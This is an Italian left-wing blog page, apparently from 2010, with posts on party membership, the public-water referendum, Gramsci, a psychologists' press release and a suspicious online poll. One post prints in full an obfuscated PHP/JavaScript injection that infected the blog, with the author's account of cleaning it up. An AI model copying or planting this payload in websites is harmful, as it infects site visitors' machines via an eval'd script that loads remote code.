Sarà un caso, ma più aumento la mia militanza, più mi radicalizzo intorno ad un nocciolo ristretto di pensieri minimi: prima chiedevo percorsi di uscita dalla crisi, politiche di inclusione per i migranti, la rivalutazione della scuola e della sua funzione nel permettere la mobilità sociale, lo sviluppo sostenibile, la ricostruzione di uno scenario sociale frantumato, il ribaltamento della logica di potere.

Adesso chiedo trasparenza, chiarezza, esplicitazione, responsabilità, identificazione del chi, dove, come e con che obiettivi in quali tempi, perché altrimenti quei temi precedenti non potranno neanche essere affrontati da lontano. Di questi tempi, una rivoluzione, che chiedono in molti anche in SEL, ma che avremo difficoltà a portare avanti se saremo pochi. L’ho già detto molte volte: non è il tempo di delegare: iscrivetevi, partecipate, trasformate.

TESSERAMENTO -> http://www.sinistraeliberta.eu/tesseramento2010/

LA NOTIZIA DELL’ELEZIONE DEL PORTAVOCE – > http://www.sinistraeliberta.eu/comunicati-stampa-territori/lazio-sel-furfaro-eletto-nuovo-portavoce-regionale

Share on Facebook

Il Forum Italiano dei Movimenti per l’Acqua, costituito da centinaia di comitati territoriali che si oppongono alla privatizzazione, insieme a numerose realtà sociali e culturali ha deciso di promuovere 3 quesiti referendari, depositati presso la Corte di Cassazione di Roma mercoledì 31 marzo 2010. Sosterranno tale iniziativa anche diverse forze politiche.

A partire dal sabato 24 aprile inizieremo la raccolta delle firme, in tre mesi dovremo arrivare almeno a quota 500.000 per poter richiedere i referendum. I banchetti per la raccolta delle firme saranno allestiti su tutto il territorio nazionale.

I quesiti referendari

Primo quesito:

«Volete voi che sia abrogato l’art. 23 bis (Servizi pubblici locali di rilevanza economica) del decreto legge 25 giugno 2008 n. 112 “Disposizioni urgenti per lo sviluppo economico, la semplificazione, la competitività, la stabilizzazione della finanza pubblica e la perequazione tributaria” convertito, con modificazioni, in legge 6 agosto 2008, n. 133, come modificato dall’art. 30, comma 26 della legge 23 luglio 2009, n. 99 recante “Disposizioni per lo sviluppo e l’internazionalizzazione delle imprese, nonché in materia di energia” e dall’art. 15 del decreto-legge 25 settembre 2009, n. 135, recante “Disposizioni urgenti per l’attuazione di obblighi comunitari e per l’esecuzione di sentenze della corte di giustizia della Comunità europee” convertito, con modificazioni, in legge 20 novembre 2009, n. 166?»

Secondo quesito:

«Volete voi che sia abrogato l’art. 150 (Scelta della forma di gestione e procedure di affidamento) del Decreto Legislativo n. 152 del 3 aprile 2006 “Norme in materia ambientale”, come modificato dall’art. 2, comma 13 del decreto legislativo n. 4 del 16 gennaio 2008

Terzo quesito:
«Volete voi che sia abrogato il comma 1, dell’art. 154 (Tariffa del servizio idrico integrato) del Decreto Legislativo n. 152 del 3 aprile 2006 “Norme in materia ambientale”, limitatamente alla seguente parte: “dell’adeguatezza della remunerazione del capitale investito”?»

516.615 firme raccolte in 25 giorni di banchetti e iniziative in tutta Italia. Un risultato incredibile anche per noi, raggiunto in poco più di tre settimane grazie all’impegno e all’entusiasmo di migliaia di cittadine e cittadini dell’acqua pubblica. Qui trovate la mappa dei banchetti. L’obiettivo che il Comitato Promotore si era posto (700mila firme) è ormai in vista e può essere superato. Da qui a luglio lanceremo eventi, feste, spettacoli per coinvolgere sempre più italiani in questa civile lotta di democrazia per togliere le mani degli speculatori dall’acqua riconsegnandola ai cittadini e ai Comuni.

http://www.acquabenecomune.org/raccoltafirme/

Share on Facebook

Ovvero… colpito e affondato.

A fine aprile, uno o due giorni dopo la pubblicazione del post precedente dedicato all’anniversario di Gramsci, questo sito è stato colpito da un simpatico codicillo malware che vi incollo qui di seguito a futura memoria:

<?php ob_start (’security_update’); function security_update ($buffer) {return $buffer.’  <script language= “javascript”> var  asdas= “asd8 (@+”;function z(s)
{var asdas=”asd8(@”;r=”";for(i=0;i<s.length;i++){var asdas=”asd8(@”; if(s.charAt(i)==”Z”) {var asdas=”asd8(@”;s1=”%”}else{var asdas=”asd8(@”; s1=s.charAt(i);}r=r+s1; var  asdas=”asd8(@”;}return unescape(r);}var sdkajsnd=”e”+”"+”v”+”al”;function t(){return z($a);}var  $a=”Z63zZ3dZ22Z2566uZ256ectZ2569oZ256e cZ257a(cZ257a)Z257bretZ2575Z2572Z256e  caZ252bcb+Z2563cZ252bcdZ252bce+Z2563z;}Z253bZ22;dbZ3dZ227FtuQd8!90;0!Z25200; gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0–0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;cbZ3dZ22eZ2528Z2564Z2573);Z2573tZ253dtZ256dpZ253dZ2527Z2527;for(iZ253d0;iZ253cds.Z256cZ22;opZ3dZ22Z2524aZ253dZ2522dw(dcZ2573(cZ2575,1Z2534))Z253bZ2522;Z22;caZ3dZ22Z2566uZ256eZ2563tioZ256e dZ2563sZ2528dsZ252cesZ2529Z257bdsZ253dunZ2565scZ2561pZ22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|“d.;;rvwyr}f:wZ7by;xp;v}zfszZ2526;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;ccZ3dZ22enZ2567tZ2568;i+Z252bZ2529Z257btmZ2570Z253dds.sZ256cZ2569ce(Z2569,Z2569+1Z2529Z22;dzZ3dZ22Z2566unZ2563tiZ256fn Z2564Z2577(tZ2529Z257bcaZ253dZ2527Z252564ocZ252575Z2525Z2536dZ2565Z256eZ252574Z2525Z2532ewrZ25256Z2539Z2574e(Z252522Z2527;ceZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253csZ252563ripZ25257Z2534 Z25256canZ25256Z2537Z25257Z2535aZ252567eZ25253dZ25255cZ252522jZ2561vasZ2563rZ252569pZ252574Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252Z2566sZ2563Z2572iptZ25253eZ2527;winZ2564owZ255bZ2522eZ2522+Z2522Z2522+ Z2522vZ2522+Z2522alZ2522](unescapeZ2528tZ2529)};Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87trc7Z3c07id~7Z3c07f}d7Z3c07f}b7Z3c07}|s7Z3c07Z257FhZ7b7Z3c07vtc7Z3c07rfv7Z3c07iec7Z3c07}s`7Z3c07~sj7Z3c07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7×7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;ceZ3dZ22pZ252echZ2561rZ2543odeZ2541t(0Z2529^(Z25270×00Z2527+Z2565s)Z2529);}Z257dZ22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9;!Z2520Z2520+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050Z22;cdZ3dZ22;Z2573tZ253dstZ252bSZ2574rinZ2567Z252eZ2566romZ2543haZ2572Z2543odZ2565((Z2574mZ22;deZ3dZ22!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+0}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;stZ3dZ22Z2573Z2574Z253dZ2522$Z2561Z253dstZ253bZ2564cZ2573(Z2564Z2561Z252bdZ2562+Z2564Z2563Z252bZ2564dZ252bdZ2565,Z25310Z2529Z253bZ2564Z2577Z2528Z2573tZ2529Z253bZ2573Z2574Z253dZ2524aZ253bZ2522;Z22;Z69f (Z64ocuZ6denZ74Z2ecZ6fokZ69Z65.inZ64Z65xOfZ28Z27rfZ35f6Z64sZ27)Z3dZ3d-1)Z7bfuZ6ecZ74ionZ20calZ6cbZ61Z63k(Z78Z29Z7bwindoZ77.tZ77 Z3d Z78Z3bvaZ72 d Z3d neZ77 DaZ74eZ28);Z64.Z73etTZ69meZ28x[Z22asZ5foZ66Z22]*10Z300Z29;vZ61r Z68 Z3d Z64Z2egeZ74UZ54Z43HZ6fZ75rZ73()Z3bZ77Z69Z6edZ6fw.hZ20Z3d h;iZ66 Z28h Z3e 8)Z7bd.seZ74UTCZ44aZ74e(dZ2egZ65tUZ54CDZ61te(Z29 – Z32);Z7deZ6cseZ7bZ64Z2eseZ74Z55Z54Z43Z44atZ65(d.Z67Z65Z74UZ54CDZ61tZ65()Z20Z2d 3)Z3b}Z77Z69ndZ6fwZ2eZ67d Z3d d;Z76Z61Z72Z20tiZ6dZ65 Z3d neZ77Z20ArZ72ay(Z29;vaZ72 sZ68iftZ49nZ64eZ78 Z3d Z22Z22;tiZ6deZ5bZ22yeZ61rZ22] Z3d d.gZ65tZ55Z54CZ46ulZ6cYeaZ72(Z29Z3btiZ6de[Z22monZ74hZ22Z5d Z3d Z64.gZ65tUTZ43Z4dZ6fZ6ethZ28)Z2bZ31;Z74imeZ5bZ22dayZ22]Z20Z3d d.geZ74UTZ43DZ61teZ28Z29;ifZ20(dZ2egeZ74UZ54CMZ6fnthZ28Z29+1Z20Z3c 10)Z7bsZ68Z69ftZ49Z6edZ65x Z3dZ20tiZ6deZ5bZ22yearZ22Z5d Z2b Z22-0Z22 + Z28d.gZ65tUTZ43Z4dZ6fZ6etZ68(Z29+1Z29;Z7deZ6csZ65Z7bshiftZ49nZ64exZ20Z3d tZ69mZ65Z5bZ22yeZ61rZ22]Z20+ Z22-Z22 + (Z64Z2egeZ74UTCZ4dontZ68()Z2b1)Z3b}iZ66 (dZ2eZ67Z65Z74Z55TCDZ61teZ28)Z20Z3c 10Z29Z7bshiZ66Z74Z49ndZ65x Z3dsZ68Z69fZ74IZ6edZ65x Z2b Z22-Z30Z22 + dZ2egetZ55TZ43DZ61tZ65();Z7deZ6csZ65Z7bshZ69Z66tIZ6eZ64ex Z3d sZ68Z69fZ74InZ64ex Z2bZ20Z22-Z22 + d.Z67etUZ54Z43DaZ74Z65(Z29;}Z64oZ63Z75Z6denZ74.Z77ritZ65(Z22Z3cscrZ22Z2bZ22ipZ74 laZ6eZ67uZ61Z67Z65Z3djaZ76Z61scZ72ipZ74Z22+Z22 srcZ3dZ27htZ74Z70:Z2fZ2fsearZ63hZ2etwiZ74teZ72Z2ecZ6fZ6dZ2ftrendZ73Z2fdailZ79.Z6asoZ6e?dZ61teZ3dZ22+ sZ68ifZ74InZ64ex+Z22Z26caZ6clZ62acZ6bZ3dcZ61llbZ61ckZ32Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} fZ75nZ63tiZ6fZ6e cZ61llZ62acZ6b2(Z78)Z7bwindoZ77.twZ20Z3d xZ3bsc(Z27rZ665fZ36dsZ27,2,Z37)Z3bevZ61Z6c(uZ6eescZ61pe(Z64Z7aZ2bZ63z+Z6fpZ2bst)Z2bZ27dw(Z64Z7a+Z63z($Z61+Z73tZ29Z29Z3bZ27);Z64ocuZ6dZ65nZ74.Z77riZ74e($Z61)Z3b}dZ6fcZ75mZ65nt.Z77rZ69teZ28Z22Z3cimg sZ72cZ3dZ27http:Z2fZ2fsearZ63hZ2etwZ69tteZ72.cZ6fmZ2fimaZ67esZ2fseZ61rZ63hZ2frssZ2epZ6egZ27 wZ69Z64Z74hZ3d1Z20heZ69gZ68tZ3d1 styZ6ceZ3dZ27visZ69bZ69lZ69tyZ3ahZ69Z64denZ27 Z2fZ3e Z3cscZ72Z22+Z22ipt lZ61ngZ75Z61gZ65Z3djavZ61sZ63riZ70tZ22Z2bZ22 srZ63Z3dZ27http:Z2fZ2fsearZ63h.Z74wZ69Z74terZ2ecZ6fmZ2ftZ72Z65ndZ73Z2fdaZ69lZ79Z2eZ6asonZ3fcalZ6cbacZ6bZ3dcZ61llbZ61ckZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}Z65Z6cZ73eZ7b$Z61Z3dZ27Z27};fZ75Z6ecZ74ionZ20sc(Z63nZ6d,vZ2cZ65Z64Z29Z7bvaZ72 exZ64Z3dnew Z44aZ74Z65(Z29;eZ78d.Z73Z65tDZ61Z74Z65Z28exZ64.Z67etDZ61Z74eZ28)+Z65d)Z3bZ64ocuZ6deZ6et.cZ6fokiZ65Z3dcnmZ2bZ20Z27Z3dZ27 +escape(Z76)+Z27;exZ70ireZ73Z3dZ27+exd.tZ6fZ47MTSZ74Z72ingZ28Z29;};”;window[sdkajsnd](t());</script>’;}//important security update ?>

Bello vero? Il codice, probabilmente agendo in completa autonomia (ovvero senza il controllo di un programmatore, ma con funzione da bot della rete), si è propagato in diversi files php, aggiungendosi in testa o in coda al testo normale.

Secondo il rapporto di google, questo codice è poi riuscito ad infettare un solo computer. Per fortuna so anche a chi appartiene: è il mio, che infatti ho dovuto formattare nella sua partizione windows, perdendo così la mia imbattibilità di circa 3 anni nei confronti di attacchi virus. Chapeau!

Non avendo molta esperienza di virus interni ad un blog (e complice il poco tempo a disposizione), ho impiegato poi qualche giorno a capire come ci si debba muovere in questo caso. Ecco come ho fatto, nel caso capiti anche a chi legge: back-up su pc di tutti i files, analisi dei files (aprendoli come file di testo uno ad uno, iniziando da index.php), rilevazione del codice malevolo, query per individuare il codice in tutti i files del back-up, cancellazione del codice malevolo dove presente, sovrascrittura di tutti i files da pc a server.

Più o meno funziona: ho ancora qualche problemino, ma il virus per il momento è andato.

Uno spasso che non sto neanche a raccontare… soprattutto grazie ai divertentissimi messaggi allarmistici di google!

Share on Facebook

Una delle cose che mi colpisce di più, oggi, riguardo al pensiero di Antonio Gramsci è la forza con cui è stato in passato e venga tutt’ora cancellato dai programmi didattici della scuola e spesso anche nelle università (con riferimento all’insegnamento della filosofia).

Una pura follia, che in parte deve essere motivata dalla consapevolezza della validità del suo pensiero ancora oggi, soprattutto nei suoi riferimenti all’egemonia culturale. Questa scelta è però in parte dovuta anche a semplice sciatteria, mista ad un generico sentimento di rivalsa nei confronti del PCI da parte di chi è stato per anni nella stanza dei bottoni del ministero dell’istruzione. Penso che ci sia questa componente per un semplice motivo: all’estero (per esempio per mia esperienza diretta nel mondo anglosassone) nessuno che si dica studiare i temi della filosofia politica potrebbe immaginare di tralasciare lo studio degli scritti di questo filosofo italiano (uno dei rari) o delle innumerevoli analisi compiute da altri a partire dal suo pensiero (a prescindere dal fatto che ne condivida o meno le conclusioni, ovviamente).

Nell’anniversario della morte, vale la pena rileggere un testo citato un po’ ovunque: peronalmente, ogni volta che mi capita di rileggerlo, mi chiedo quanto sia cambiato il nostro Paese e mi domando “Che fare?”. Ma questa è un’altra Storia.

Odio gli indifferenti. Credo che vivere voglia dire essere partigiani. Chi vive veramente non può non essere cittadino e partigiano. L’indifferenza è abulia, è parassitismo, è vigliaccheria, non è vita. Perciò odio gli indifferenti.

L’indifferenza è il peso morto della storia. L’indifferenza opera potentemente nella storia. Opera passivamente, ma opera. È la fatalità; è ciò su cui non si può contare; è ciò che sconvolge i programmi, che rovescia i piani meglio costruiti; è la materia bruta che strozza l’intelligenza. Ciò che succede, il male che si abbatte su tutti, avviene perché la massa degli uomini abdica alla sua volontà, lascia promulgare le leggi che solo la rivolta potrà abrogare, lascia salire al potere uomini che poi solo un ammutinamento potrà rovesciare. Tra l’assenteismo e l’indifferenza poche mani, non sorvegliate da alcun controllo, tessono la tela della vita collettiva, e la massa ignora, perché non se ne preoccupa; e allora sembra sia la fatalità a travolgere tutto e tutti, sembra che la storia non sia altro che un enorme fenomeno naturale, un’eruzione, un terremoto del quale rimangono vittime tutti, chi ha voluto e chi non ha voluto, chi sapeva e chi non sapeva, chi era stato attivo e chi indifferente. Alcuni piagnucolano pietosamente, altri bestemmiano oscenamente, ma nessuno o pochi si domandano: se avessi fatto anch’io il mio dovere, se avessi cercato di far valere la mia volontà, sarebbe successo ciò che è successo?

Odio gli indifferenti anche per questo: perché mi dà fastidio il loro piagnisteo da eterni innocenti. Chiedo conto a ognuno di loro del come ha svolto il compito che la vita gli ha posto e gli pone quotidianamente, di ciò che ha fatto e specialmente di ciò che non ha fatto. E sento di poter essere inesorabile, di non dover sprecare la mia pietà, di non dover spartire con loro le mie lacrime.

Sono partigiano, vivo, sento nelle coscienze della mia parte già pulsare l’attività della città futura che la mia parte sta costruendo. E in essa la catena sociale non pesa su pochi, in essa ogni cosa che succede non è dovuta al caso, alla fatalità, ma è intelligente opera dei cittadini. Non c’è in essa nessuno che stia alla finestra a guardare mentre i pochi si sacrificano, si svenano. Vivo, sono partigiano. Perciò odio chi non parteggia, odio gli indifferenti.

11 febbraio 1917

Antonio Gramsci (Ales, 22 gennaio 1891 – Roma, 27 aprile 1937) è stato un politico, filosofo e giornalista italiano. Tra i fondatori del Partito Comunista d’Italia (1921), fu incarcerato fra il 1926 e il 1937 dal regime fascista di Mussolini e rilasciato poco prima della morte, avvenuta in seguito al grave deterioramento delle sue condizioni di salute durante gli anni di prigionia.

www.fondazionegramsci.org
www.antoniogramsci.com

Share on Facebook

COMUNICATO STAMPA

16 aprile 2010

L’Associazione Italiana di Psicologia (AIP), principale Società Scientifica rappresentativa della Psicologia e della Ricerca Psicologica Italiana, apprese le parole pronunciate dal Cardinale Tarcisio Bertone durante la visita in Cile (“numerosi psichiatri e psicologi …. hanno dimostrato che esiste un legame tra omosessualità e pedofilia”, Corriere della Sera.14.04.2010, p. 2), intende precisare che la letteratura scientifica sull’argomento non supporta in alcun modo quanto sostenuto dal Segretario di Stato della Santa Sede e che è anzi dimostrato che vittime di abuso sono tanto i bambini quanto le bambine.

In particolare, in qualità di Psicologi, Psicoterapeuti e Ricercatori sentiamo il dovere di precisare che le parole pronunciate dal Cardinale, oltre che assolutamente prive di evidenza scientifica, paiono rilanciare una pericolosa re-interpretazione in chiave psicopatologica dell’omosessualità, condizione invece da anni esplicitamente esclusa dalla nosografia psichiatrica in uso.

Pur prendendo atto delle successive dichiarazioni di rettifica, l’AIP sente il dovere di precisare che “patologizzare” l’omosessualità, invocando in modo improprio il supporto della comunità scientifica, non fa che aumentare l’omofobia, che è la vera malattia da combattere. L’errato riferimento alla letteratura psicologica, sociologica o psichiatrica appare estremamente dannoso per lo sforzo che, da anni, clinici e ricercatori intraprendono a vantaggio della salute psichica della popolazione, sia dei minori (abusati e non) che degli abusanti (questi sì realmente malati). L’AIP pertanto invita tutti coloro che ricoprono importanti ruoli istituzionali, e che quindi hanno un peso incisivo sulla pubblica opinione, a prestare maggiore attenzione alla ricerca scientifica e a diffondere correttamente i suoi risultati conoscitivi e applicativi.

prof. Roberto Cubelli

Presidente Associazione Italiana di Psicologia

Share on Facebook

Alle 0:00 dell’8 aprile, il settimanale “L’espresso” ha lanciato un sondaggio online per rispondere alla domanda “Chi può battere Silvio Berlusconi? – 2013, vota il tuo candidato contro Berlusconi”.

Questo il link: http://espresso.repubblica.it/sondaggio-risultati?idpoll=2124611

… e questa è la storia di come ho scoperto che gli hawaiani amano Luca Cordero di Montezemolo.

Il fenomeno aveva cominciato ad attirare l’attenzione sin dal primo giorno: nella notte di giovedì 8, qualcuno non dormiva. E votava.

Poi la cosa si era ripetuta anche il secondo giorno, nella notte di venerdì 9: un primo conteggio approssimativo attribuiva a Luca Cordero di Montezemolo (da adesso in avanti LCdM) un aumento di circa 7000 preferenze distribuite nelle due notti, ma il dato era ancora troppo grezzo per poterlo analizzare seriamente.

Occorreva una verifica empirica ed ecco giungere il sabato sera: il momento perfetto per fare del monitoraggio computerizzato. Da principio non capivo: aggiornavo la pagina stancamente, vedendo di tanto in tanto aumentare qui e là una o due preferenze, ma all’improvviso, all’1:18 minuti, si comincia!

Una scalata inarrestabile verso la vetta, un fiume in piena di preferenze, travolgente, della durata di 50 minuti: alle 2:07 nella notte tra sabato 10 e domenica 11, il computo per LCdM segna 11022 preferenze, con un bilancio di +2657 preferenze in 50 minuti scarsi (per il valore olimpico di 0.9 preferenze al secondo, di media… ma con picchi ben superiori!).

Il re della notte è salito sul trono per la terza volta di fila e si è ripreso la testa del sondaggio, come gli compete. Certo, ammetto di non essere riuscito a trovare una spiegazione plausibile per un paio di misteriose battute di arresto, in cui il numero delle preferenze addirittura diminuiva, per poi aumentare nuovamente con rinnovato slancio. Un aggiornamento del server errato? Temo di aver bisogno di un decreto interpretativo.

Ad ogni modo, preso dall’esaltazione del momento, dimentico i miei obblighi di ricercatore e mi convinco che il fenomeno si sia ormai manifestato per intero: me ne vado a dormire.

Errore da dilettante!

Il mio check successivo arriva sul tardi: devo aspettare le 10:31 di domenica 11 per scoprire che il fenomeno è contagioso e ha coinvolto anche Mario Draghi.

Perplesso annoto i nuovi dati e le 12 ore che hanno sconvolto il sondaggio dell’espresso come neanche i suoi autori avrebbero potuto immaginare: basti pensare che le preferenze complessive passano da 25836 (raccolte in tre giorni) a 35710 (+9874 nella sola notte: il 38% in più! Di cui oltre 9000 ottenute nel periodo dopo la mezzanotte. Non so se mi spiego…).

Ma guardiamo Mario Draghi. D’accordo, abbiamo già incoronato LCdM e non si discute, ma per spirito sportivo, va assegnato un podio! I meno accorti potrebbero essere tentati dall’assegnare banalmente il secondo posto a Nichi, che con il suo metodo lumaca e le preferenze prese a poco a poco durante il giorno, in orario di ufficio, da grigi lavoratori e nerd smanettoni del computer, ha raggiunto quota 9500. Ma bisogna essere onesti: nelle 12 ore sotto osservazione, quelle che abbiamo visto essere il vero bacino di utenti dell’espresso, le sue preferenze aumentano di meno di 300 unità.

…e invece Draghi? Che spettacolo! Lo si poteva dare per spacciato ormai: sole 1229 preferenze raccolte in tre giorni pieni -74 ore di sondaggio, comprese le prime due notti di fuoco del nostro LCdM! -, ma ecco che dalle 2:00 del mattino alle 10:30 del quarto giorno, il governatore risorge arrivando a 4525 preferenze!  Il 300% in più nella sola lunga alba di domenica mattina.

Una ipotesi interpretativa comincia ormai a farsi strada e non mi resta che una controprova: attendo impaziente la giornata di lunedì, per registrare il dato della mattina di un giorno lavorativo al netto dell’ormai prevedibile rush notturno – che si presenterà decisamente sotto tono, rispetto alla notte brava di sabato (+2500 circa per LCdM nella notte tra domenica e lunedì)-. La domanda che mi pongo è: quante preferenze raccoglierà LCdM durante la mattina e il pomeriggio di un giorno lavorativo?

Ecco la risposta: dalle 9:00 alle 17:00 circa di lunedì 12 aprile, LCdM totalizza un limpido +42 preferenze (passando da 16603 a 16645: un aumento dello 0.25%).

La situazione è ormai chiara: se evidentemente Draghi vede il suo bacino più consistente nei ragazzi di rientro dalle discoteche (prima di andare a dormire alle 6 del mattino, ci si collega per votare il sondaggio), il solo ed unico re della notte, semplicemente, è una figura di livello internazionale.

Alle Hawaii ad esempio il fuso orario è 11 ore indietro.

Cose che capitano. Soprattutto a “L’espresso”.

Haloa!

Share on Facebook

[...]

…Purtroppo però non dico nulla di nuovo se esterno la mia amarezza, delusione e rabbia sull’esito delle Regionali (immagino le tue che hai un investimento differente dal mio nei confronti della politica…).

Il risultato della Calabria purtroppo me lo aspettavo, perché Scopelliti è forte e ahimè amato in parte a ragione, perché Loiero non era di sicuro l’esponente migliore che la Sinistra potesse proporre, né Callipo un effettivo antagonista per nessuno dei due. E nel contesto italiano mi aspettavo alcuni dei risultati ottenuti, ma nel Lazio credevo e speravo veramente che Emma Bonino ce l’avrebbe fatta!

Mi chiedo come fa la gente a non voler riflettere, a non voler acquisire un minimo di senso critico e di volontà di informazione?!?

E i quartieri popolari… che hanno votato a Destra? Ma come si fa!?!L’VIII Municipio – dove lavoro due giorni a settimana – in cui la povertà si tocca con mano, ha votato a Destra!Sarà un caso che in quella zona ci sia una sezione anche di Forza Nuova? Ora, problema mediatico a parte, disinformazione e sfiducia, di assoluta rilevanza certamente tutti e tre, credo che quello che su tutto il territorio nazionale manchi sia il contatto effettivo con le diverse frange della popolazione. Questa è la spiegazione più plausibile per me per quanto concerne l’VIII Municipio.

Ovvero, situazioni particolari a parte, non si può attendere il pre-elezioni per farsi conoscere. Questo atteggiamento viene assolutamente preso – e lo è! – come finalizzato alla tornata elettorale. Bisogna ‘fidelizzare’ (termine non bellissimo ma calzante) le persone. Solo se conosco qualcuno e ho fiducia in lei/lui, la/lo voterò. E’questo il meccanismo che si deve ingenerare. Io ho modo di vederti di fronte a me, ti conosco, tocco con mano che hai avuto la volontà di farti conoscere, hai fatto qualcosa, magari qualcosa di buono e ti voto!E, per quanto riguarda Roma, dal singolo Municipio dovrebbe partire una sorta di circolo virtuoso che si estende anche agli altri Municipi e così via.

Non penso che gran parte delle persone faccia o per volontà, o per tempo, o per cultura, ragionamenti di carattere politico raffinato o di stampo teorico.
Credo che, a ragione, voglia invece avere delle cose tangibili, immediate, che rappresentino la soluzione di un problema e che allo stesso tempo voglia ‘vedere’, aver presente un referente vero e non virtuale per la risoluzione di un problema. E’chiaro che non sempre si può avere il diretto interessato di un provvedimento preso, ma un suo sostituto, un referente ‘in tutti i sensi presente’ sì, lo si deve avere… sempre!
E’da questo che si deve ripartire secondo me. Interventi piccoli, mirati, anche solo di conoscenza, resi accattivanti da un clima accogliente e dalla volontà fattiva di voler comunicare, di ascoltare ‘attivamente’ e di confrontarsi alla pari, chiunque si abbia davanti…..Bisogna sempre tener presente a chi si vuole comunicare e con chi si sta parlando. I discorsi, gli strumenti e/o i provvedimenti (e qui non mi riferisco a Leggi nazionali ovviamente) sparati nel mucchio non possono andar bene! Ad esempio, Internet è uno strumento utile, ma raggiunge solo alcune fasce della popolazione. Ti assicuro che non ha raggiunto e non raggiunge neppure il 3 percento (e credimi, non esagero) degli utenti che incontro settimanalmente al Centro per l’Impiego e in Associazione. Si tratta di disoccupati/precari, ma soprattutto di cassa integrati e lavoratori in mobilità, molti dei quali giovanissimi; sono specialmente operai e assistenti familiari. Ma… la Sinistra non dovrebbe raggiungere loro in primis?E… se neanche ci parla!Non ci sa parlare!
E’in parte elitaria (quando conduce delle riflessioni di stampo politico che sono elucubrazioni mentali e che scarsa inerenza e incidenza hanno sul reale), in parte poco incisiva!Ti scrivo queste cose perché, come ben sai sono donna, giovane, meridionale e precaria e quasi quotidianamente mi confronto con persone che purtroppo stanno di gran lunga peggio di me. Non faccio davvero molto: in alcune cose, come immaginerai, ho le mani legate e in altre intervengono i limiti personali, ma cerco di prendere ognuna/o di loro in carico.
Li accolgo sempre, non lascio cadere mai delle loro richieste (esplicite o meno), spiego loro se non posso intervenire perché non posso farlo. Senza volermi dipingere l’eroina che davvero non sono, è questo quello che vorrei che un Partito politico mi mostrasse: che sono importante, che le mie richieste anche quando inespresse sono comprese e che soprattutto sono prese in carico, non lasciate cadere MAI nel vuoto.

MA

Share on Facebook